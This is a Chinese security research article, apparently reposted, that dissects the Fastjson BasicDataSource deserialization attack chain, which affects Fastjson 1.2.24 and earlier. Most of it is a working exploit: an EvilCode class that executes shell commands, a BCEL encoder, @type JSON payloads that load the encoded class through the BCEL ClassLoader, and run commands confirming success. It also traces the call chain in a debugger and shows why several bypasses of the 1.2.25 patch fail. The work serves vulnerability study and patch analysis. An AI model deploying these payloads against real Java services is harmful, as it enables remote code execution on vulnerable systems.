Fastjson BasicDataSource攻击链简介

JAVASEC 2021年4月17日13:20:46评论71 views字数 15517阅读51分43秒阅读模式
摘要

沈沉舟@青衣十三楼飞花堂

「声明: 文中涉及到的相关漏洞均为官方已经公开并修复的漏洞,涉及到的安全技术也仅用于企业安全建设和安全对抗研究。本文仅限业内技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。」

沈沉舟@青衣十三楼飞花堂
Fastjson BasicDataSource攻击链简介
「声明: 文中涉及到的相关漏洞均为官方已经公开并修复的漏洞,涉及到的安全技术也仅用于企业安全建设和安全对抗研究。本文仅限业内技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。」


简介

这条攻击链用到"org.apache.tomcat.dbcp.dbcp.BasicDataSource"、"org.apache.tomcat.dbcp.dbcp2.BasicDataSource"或其他什么等价类。比较老,只能用于Fastjson 1.2.24及更低版本。

Fastjson攻击链更多是用"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"和"com.sun.rowset.JdbcRowSetImpl",后者能一直用到Fastjson 1.2.47。

本来太老的攻击链没打算深究,后来觉得其中用到的BCEL编码有点意思,就调试跟踪了一下。

95%的人几年前就学过这招,如果仍有兴趣,可直接看"简化版调用关系"和"小结"。

org.apache.tomcat.dbcp.dbcp.BasicDataSource攻击链

参[73],后面的PoC用到了如下库:

  • tomcat-dbcp-7.0.99.jar
  • dbcp-6.0.53.jar
  • tomcat-dbcp-9.0.20.jar
  • tomcat-juli-9.0.20.jar

FastjsonDeserialize2.java

/*  * javac -encoding GBK -g -cp "fastjson-1.2.24.jar:." FastjsonDeserialize2.java  */ import java.io.*; import java.nio.file.*; import java.nio.charset.*; import com.alibaba.fastjson.JSON;  public class FastjsonDeserialize2 {     static String readFile( String path, Charset encoding ) throws IOException     {         byte[]  buf = Files.readAllBytes( Paths.get( path ) );         return new String( buf, encoding );     }      public static void main ( String[] argv ) throws Exception     {         /*          * StandardCharsets.US_ASCII          */         String  str = readFile( argv[0], StandardCharsets.UTF_8 );         Object  obj = JSON.parseObject( str );     } } 

EvilCode.java

/*  * javac -encoding GBK -g EvilCode.java  */ import java.io.*;  public class EvilCode {     static     {         String[]    argv    = new String[] { "0", "/bin/touch /tmp/scz_is_here" };          try         {             Operator( argv );         }         catch ( Exception e )         {             e.printStackTrace( System.err );         }     }      public EvilCode ()     {         System.out.println( "scz is here" );     }      public EvilCode ( Object[] argv ) throws Exception     {         Operator( argv );     }      public static void Operator ( Object[] argv ) throws Exception     {         int     opnum   = Integer.parseInt( ( String )argv[0] );         String  cmd;          switch ( opnum )         {         case 0 :             cmd = ( String )argv[1];             Operator_0( cmd );             break;         case 1 :             cmd = ( String )argv[1];             Operator_1( cmd );             break;         default:             Operator_unknown();             break;         }     }      private static void Operator_0 ( String cmd ) throws Exception     {         Runtime.getRuntime().exec( new String[] { "/bin/sh", "-c", cmd } );     }      private static void Operator_1 ( String cmd ) throws Exception     {         String  ret = PrivateExec( cmd );         throw new InvalidClassException( "/n[/n" + ret + "]/n" );     }      private static void Operator_unknown () throws Exception     {         throw new InvalidClassException( "/n[/nUnknown opnum/n]/n" );     }      private static String PrivateExec ( String cmd ) throws IOException     {         ProcessBuilder  pb  = new ProcessBuilder( "/bin/sh", "-c", cmd ).redirectErrorStream( true );         Process         p   = pb.start();         StringBuilder   ret = new StringBuilder( 256 );         BufferedReader  in  = new BufferedReader( new InputStreamReader( p.getInputStream() ) );         String          line;          while ( true )         {             line    = in.readLine();             if ( line == null )             {                 break;             }             ret.append( line ).append( "/n" );         }         return( ret.toString() );     } } 

EvilCode没必要写成这样,我是顺手挪用别处的代码,你完全可以精简之。

BCELEncode.java

/*  * javac -encoding GBK -g -XDignore.symbol.file BCELEncode.java  * java BCELEncode EvilCode.class  */ import java.io.*; import java.nio.file.Files; import com.sun.org.apache.bcel.internal.classfile.Utility;  public class BCELEncode {     public static void main ( String[] argv ) throws Exception     {         String  filename    = argv[0];         byte[]  buf         = Files.readAllBytes( ( new File( filename ) ).toPath() );         /*          * public static String encode(byte[] bytes, boolean compress)          */         String  str         = Utility.encode( buf, true );         String  bcel        = "$$BCEL$$" + str;         System.out.println( bcel );     } } $ java BCELEncode EvilCode.class $$BCEL$$$l$8b...$A$A 

Utility.encode()的输出不包含"$$BCEL$$"前缀,需要自己增加。

BCELDecode.java

/*  * javac -encoding GBK -g -XDignore.symbol.file BCELDecode.java  * java BCELDecode <str> <out.class>  */ import java.io.*; import java.nio.file.*; import com.sun.org.apache.bcel.internal.classfile.Utility;  public class BCELDecode {     public static void main ( String[] argv ) throws Exception     {         String  bcel        = argv[0];         String  filename    = argv[1];         if ( !bcel.startsWith( "$$BCEL$$" ) )         {             return;         }         String  str         = bcel.substring( 8 );         /*          * public static byte[] decode(String s, boolean uncompress)          */         byte[]  buf         = Utility.decode( str, true );         Files.write         (             ( new File( filename ) ).toPath(),             buf,             new OpenOption[] { StandardOpenOption.CREATE, StandardOpenOption.TRUNCATE_EXISTING }         );     } } $ java BCELDecode '$$BCEL$$$l$8b...$A$A' /tmp/out.class 

BCELDecode与攻击链无关,仅仅是因为前面有个负责编码的,出于程序员的本能反应,顺手写个负责解码的,保持对称性。

Fastjson_BasicDataSource.json

{     '@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource",     'driverClassLoader':     {         '@type':"com.sun.org.apache.bcel.internal.util.ClassLoader"     },     'driverClassName':'$$BCEL$$$l$8b...$A$A' } 

driverClassName属性的值就是BCELEncode输出的内容。

有人喜欢在PoC中用代码构造上述json内容,我的习惯是将各组件按自己的理解拆分,以保持边界感。没有什么特别优势,每个人的学习习惯不同,莫来我处装X。

java -cp "fastjson-1.2.14.jar:dbcp-6.0.53.jar:." FastjsonDeserialize2 Fastjson_BasicDataSource.json  java -cp "fastjson-1.2.24.jar:tomcat-dbcp-7.0.99.jar:." FastjsonDeserialize2 Fastjson_BasicDataSource.json 

这两条命令都能得手。

调试FastjsonDeserialize2:

java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y / -cp "fastjson-1.2.24.jar:tomcat-dbcp-7.0.99.jar:." / FastjsonDeserialize2 Fastjson_BasicDataSource.json  jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005  stop in java.lang.Runtime.exec(java.lang.String[])    [1] java.lang.Runtime.exec (Runtime.java:485), pc = 0   [2] $$BCEL$$$l$8b...$A$A.Operator_0 (EvilCode.java:55), pc = 21   [3] $$BCEL$$$l$8b...$A$A.Operator (EvilCode.java:41), pc = 44   [4] $$BCEL$$$l$8b...$A$A.<clinit> (EvilCode.java:14), pc = 16   [5] java.lang.Class.forName0 (native method)   [6] java.lang.Class.forName (Class.java:348), pc = 49   [7] org.apache.tomcat.dbcp.dbcp.BasicDataSource.createConnectionFactory (BasicDataSource.java:1,559), pc = 36   [8] org.apache.tomcat.dbcp.dbcp.BasicDataSource.createDataSource (BasicDataSource.java:1,467), pc = 30   [9] org.apache.tomcat.dbcp.dbcp.BasicDataSource.getConnection (BasicDataSource.java:1,103), pc = 1   [10] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method)   [11] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100   [12] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6   [13] java.lang.reflect.Method.invoke (Method.java:498), pc = 56   [14] com.alibaba.fastjson.util.FieldInfo.get (FieldInfo.java:451), pc = 16   [15] com.alibaba.fastjson.serializer.FieldSerializer.getPropertyValue (FieldSerializer.java:114), pc = 5   [16] com.alibaba.fastjson.serializer.JavaBeanSerializer.getFieldValuesMap (JavaBeanSerializer.java:439), pc = 50   [17] com.alibaba.fastjson.JSON.toJSON (JSON.java:902), pc = 313   [18] com.alibaba.fastjson.JSON.toJSON (JSON.java:824), pc = 4   [19] com.alibaba.fastjson.JSON.parseObject (JSON.java:206), pc = 18   [20] FastjsonDeserialize2.main (FastjsonDeserialize2.java:23), pc = 11 

简化版调用关系(重点看这个)

JSON.parseObject                                        // 8u232+1.2.24+7.0.99   JSON.parse                                            // JSON:201     JSON.parse                                          // JSON:128       DefaultJSONParser.parse                           // JSON:137         DefaultJSONParser.parse                         // DefaultJSONParser:1293           DefaultJSONParser.parseObject                 // DefaultJSONParser:1327             JavaBeanDeserializer.deserialze             // DefaultJSONParser:368               JavaBeanDeserializer.parseRest                 JavaBeanDeserializer.deserialze         // JavaBeanDeserializer:922                   JavaBeanDeserializer.parseField       // JavaBeanDeserializer:600                     DefaultFieldDeserializer.parseField // JavaBeanDeserializer:773                       FieldDeserializer.setValue        // DefaultFieldDeserializer:83                         BasicDataSource.setDriverClassLoader                         BasicDataSource.setDriverClassName                                                         // 攻击者可控   JSON.toJSON                                           // JSON:206     JSON.toJSON                                         // JSON:824       JavaBeanSerializer.getFieldValuesMap              // JSON:902         FieldSerializer.getPropertyValue                // JavaBeanSerializer:439           FieldInfo.get                                 // FieldSerializer:114             BasicDataSource.getConnection               BasicDataSource.createDataSource          // BasicDataSource:1103                 BasicDataSource.createConnectionFactory // BasicDataSource:1467                   Class.forName                         // BasicDataSource:1559                                                         // 第二形参initialize等于true                     Class.forName0                      // java.lang.Class:348                       java.lang.ClassLoader.loadClass                         util.ClassLoader.loadClass      // java.lang.ClassLoader:351                                                         // com.sun.org.apache.bcel.internal.util.ClassLoader                           if (class_name.indexOf("$$BCEL$$") >= 0)                                                         // util.ClassLoader:151                           util.ClassLoader.createClass  // util.ClassLoader:152                             index = class_name.indexOf("$$BCEL$$")                                                         // util.ClassLoader:199                             real_name = class_name.substring(index + 8)                                                         // util.ClassLoader:200                             Utility.decode              // util.ClassLoader:204                                                         // com.sun.org.apache.bcel.internal.classfile.Utility                                                         // BCEL解码                             ClassParser.<init>          // util.ClassLoader:205                                                         // com.sun.org.apache.bcel.internal.classfile.ClassParser                             ClassParser.parse           // util.ClassLoader:207                               JavaClass.<clinit>        // ClassParser:206                               JavaClass.<init>          // ClassParser:206                                                         // com.sun.org.apache.bcel.internal.classfile.JavaClass                           bytes = clazz.getBytes()      // util.ClassLoader:162                           java.lang.ClassLoader.defineClass                                                         // util.ClassLoader:163                                                         // cl = defineClass(class_name, bytes, 0, bytes.length)                                                         // class_name等于driverClassName属性值                                                         // bytes源自driverClassName属性值的BCEL解码                             ClassLoader.defineClass     // java.lang.ClassLoader:635                               java.lang.ClassLoader.defineClass1                                                         // java.lang.ClassLoader:756                                                         // defineClass()并不会执行静态代码块                       EvilCode.<clinit>                 // 静态代码块                                                         // Class.forName0()中会执行静态代码块                                                         // 但不是通过defineClass()触发的                         Runtime.exec                   Class.newInstance                     // BasicDataSource:1584                     EvilCode.<init>                     // 无参构造函数                       PrintStream.println 

com.sun.org.apache.bcel.internal.util.ClassLoader加载class时检查class_name是否动用过BCEL编码,如果是,class_name就不只是类名,还包含类的字节码的BCEL编码。util.ClassLoader会从类名中析取字节码并加载之,这可真是骚操作,太邪恶了。

为什么FastjsonDeserialize未能得手

java -cp "fastjson-1.2.24.jar:tomcat-dbcp-7.0.99.jar:." FastjsonDeserialize Fastjson_BasicDataSource.json

上述命令使用FastjsonDeserialize,未能得手,不抛异常,静默结束。

FastjsonDeserialize调的是:

JSON.parseObject( fis, Object.class, Feature.SupportNonPublicField ) 

FastjsonDeserialize2调的是:

JSON.parseObject( str ) 

调试后确认前者内部不会调用JSON.toJSON(),从而无法触发EvilCode.。这个例子说明,JSON.parseObject()的不同重载版本对攻击链的反应各不相同,不要笼而统之地说函数名,一定要精确描述测试时所用上下文。

1.2.25的修补方案

java / -cp "fastjson-1.2.25.jar:tomcat-dbcp-7.0.99.jar:." / FastjsonDeserialize2 Fastjson_BasicDataSource.json  Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. org.apache.tomcat.dbcp.dbcp.BasicDataSource         at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:844)         at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:322)         at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327)         at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)         at com.alibaba.fastjson.JSON.parse(JSON.java:137)         at com.alibaba.fastjson.JSON.parse(JSON.java:128)         at com.alibaba.fastjson.JSON.parseObject(JSON.java:201)         at FastjsonDeserialize2.main(FastjsonDeserialize2.java:23) 

org.apache.tomcat"、"com.sun."打头的全进黑名单。

1.2.25至1.2.47的所有补丁绕过方案均无法用于BasicDataSource利用链,各有原因。

Fastjson_BasicDataSource_bad_0.json

{     '@type':"[org.apache.tomcat.dbcp.dbcp.BasicDataSource"[{,     'driverClassLoader':     {         '@type':"LLcom.sun.org.apache.bcel.internal.util.ClassLoader;;"     },     'driverClassName':'$$BCEL$$$l$8b...$A$A' } 

原始意图是进行补丁绕过,但1.2.25未能得手。

从1.2.25开始有一个无法绕过的检查:

/*  * 1.2.25  *  * com.alibaba.fastjson.parser.ParserConfig.checkAutoType  *  * 866行,这段检查完全是针对BasicDataSource利用链而来  */ if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger         || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver         ) {     throw new JSONException("autoType is not support. " + typeName); } 

Fastjson_BasicDataSource_bad_1.json

[     {         '@type':"java.lang.Class",         'val':'org.apache.tomcat.dbcp.dbcp.BasicDataSource'     },     {         '@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource",         'driverClassLoader':         {             '@type':"[com.sun.org.apache.bcel.internal.util.ClassLoader"[{         },         'driverClassName':'$$BCEL$$$l$8b...$A$A'     } ] 

原始意图是进行补丁绕过,但1.2.25未能得手。

/*  * 1.2.25  *  * com.alibaba.fastjson.parser.ParserConfig.checkAutoType  */ if (expectClass != null) {     if (expectClass.isAssignableFrom(clazz)) {         return clazz;     } else { /*  * 876行,此时expectClass等于"java.lang.ClassLoader",clazz等于  * "[com.sun.org.apache.bcel.internal.util.ClassLoader",后者是数组类型。  */         throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());     } } 

Fastjson_BasicDataSource_bad_2.json

{     'a':     {         '@type':"java.lang.Class",         'val':'org.apache.tomcat.dbcp.dbcp.BasicDataSource'     },     'b':     {         '@type':"java.lang.Class",         'val':'com.sun.org.apache.bcel.internal.util.ClassLoader'     },     'c':     {         '@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource",         'driverClassLoader':         {             '@type':"com.sun.org.apache.bcel.internal.util.ClassLoader"         },         'driverClassName':'$$BCEL$$$l$8b...$A$A'     } } 

原始意图是进行补丁绕过,但1.2.25未能得手。

/*  * 1.2.25  *  * com.alibaba.fastjson.parser.ParserConfig.checkAutoType  *  * 处理"com.sun.org.apache.bcel.internal.util.ClassLoader"时,虽然  * autoTypeSupport为false,但expectClass不为null,等于  * "java.lang.ClassLoader",下面的黑名单检查无法绕过  */ if (autoTypeSupport || expectClass != null) {     for (int i = 0; i < acceptList.length; ++i) {         String accept = acceptList[i];         if (className.startsWith(accept)) {             return TypeUtils.loadClass(typeName, defaultClassLoader);         }     }      for (int i = 0; i < denyList.length; ++i) {         String deny = denyList[i];         if (className.startsWith(deny)) { /*  * 822行  */             throw new JSONException("autoType is not support. " + typeName);         }     } } 

Fastjson_BasicDataSource_bad_3.jso

[     {         '@type':"java.lang.Class",         'val':'org.apache.tomcat.dbcp.dbcp.BasicDataSource'     },     {         '@type':"java.lang.Class",         'val':'com.sun.org.apache.bcel.internal.util.ClassLoader'     },     {         '@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource",         'driverClassLoader':         {             '@type':"com.sun.org.apache.bcel.internal.util.ClassLoader"         },         'driverClassName':'$$BCEL$$$l$8b...$A$A'     } ] 

原始意图是进行补丁绕过,但1.2.25未能得手。失败原因同前。

org.apache.tomcat.dbcp.dbcp2.BasicDataSource

BasicDataSource所在package变了一点点,攻击原理同前。

Fastjson_BasicDataSource2.json

{     '@type':"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",     'driverClassLoader':     {         '@type':"com.sun.org.apache.bcel.internal.util.ClassLoader"     },     'driverClassName':'$$BCEL$$$l$8b...$A$A' } java / -cp "fastjson-1.2.24.jar:tomcat-dbcp-9.0.20.jar:tomcat-juli-9.0.20.jar:." / FastjsonDeserialize2 Fastjson_BasicDataSource2.json 

小结

BasicDataSource攻击链只能用于Fastjson 1.2.24及更低版本。

曾经用于JdbcRowSetImpl攻击链的1.2.25至1.2.47的所有补丁绕过方案均无法用于BasicDataSource攻击链,各有原因。

java.lang.Class.forName()有机会执行目标类静态代码块,jdb中可拦截some.

java.lang.ClassLoader.defineClass()并不会执行目标类静态代码块。

Class.forName0()中执行静态代码块时并不是通过ClassLoader.defineClass()触发的,native方法中另有触发点,触发点位于对defineClass()调用之后的某处。

com.sun.org.apache.bcel.internal.util.ClassLoader加载class时对类名有特殊流程,如果类名中包含"$$BCEL$$"子串,则判定此类名中还包含经BCEL编码过的类的字节码。此时util.ClassLoader会从特殊类名中解码还原出类的字节码并加载之,这个操作太邪恶。这是整个攻击过程中最有意思的部分,或许在别处用得上。

就BasicDataSource攻击链而言,可以不用静态代码块执行恶意代码,后面另有机会调用恶意类的无参构造函数,jdb中可拦截some.

"org.apache.tomcat.dbcp.dbcp2.BasicDataSource"亦可用于攻击。

参考资源

[32]
https://github.com/alibaba/fastjson
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.14/fastjson-1.2.14.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.24/fastjson-1.2.24.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.24/fastjson-1.2.24-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.25/fastjson-1.2.25.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.25/fastjson-1.2.25-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.42/fastjson-1.2.42.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.42/fastjson-1.2.42-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.43/fastjson-1.2.43.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.43/fastjson-1.2.43-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.45/fastjson-1.2.45.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.45/fastjson-1.2.45-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.47/fastjson-1.2.47.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.47/fastjson-1.2.47-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.48/fastjson-1.2.48.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.48/fastjson-1.2.48-sources.jar

[73]
https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-dbcp/7.0.99/
https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-dbcp/7.0.99/tomcat-dbcp-7.0.99.jar
https://repo1.maven.org/maven2/org/apache/tomcat/dbcp/6.0.53/
https://repo1.maven.org/maven2/org/apache/tomcat/dbcp/6.0.53/dbcp-6.0.53.jar
https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-dbcp/9.0.20/
https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-dbcp/9.0.20/tomcat-dbcp-9.0.20.jar
https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-juli/9.0.20/
https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-juli/9.0.20/tomcat-juli-9.0.20.jar

来源

https://mp.weixin.qq.com/s/w-6RZGWdnSSn_jbCs0I-Sw

相关推荐: JAVA RMI反序列化知识详解

Author: Alpha@天融信阿尔法实验室 前言 在Java反序列化漏洞挖掘或利用的时候经常会遇见RMI,本文会讲述什么是RMI、RMI攻击方法、JEP290限制、绕过JEP290限制。 RMI简介 JAVA本身提供了一种RPC框架 RMI及Java 远程…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
JAVASEC
  • 本文由 发表于 2021年4月17日13:20:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Fastjson BasicDataSource攻击链简介https://cn-sec.com/archives/337020.html

发表评论

匿名网友 填写信息